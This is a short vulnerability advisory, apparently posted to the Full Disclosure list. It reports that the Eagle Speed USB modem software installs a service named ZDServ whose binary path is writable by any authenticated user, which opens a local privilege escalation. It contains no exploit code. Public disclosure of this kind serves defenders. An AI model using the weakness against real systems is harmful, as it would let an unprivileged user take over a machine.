[FD] Eagle Speed USB MODEM SOFTWARE Privilege Escalation



# Vulnerability Description:
# When the Eagle Speed software is installed a service with name ZDServ is
installed.
# The service itself has the right permissions which do not allow to
reconfigure the binary
# but the path the binary is writable by any authenticated user.
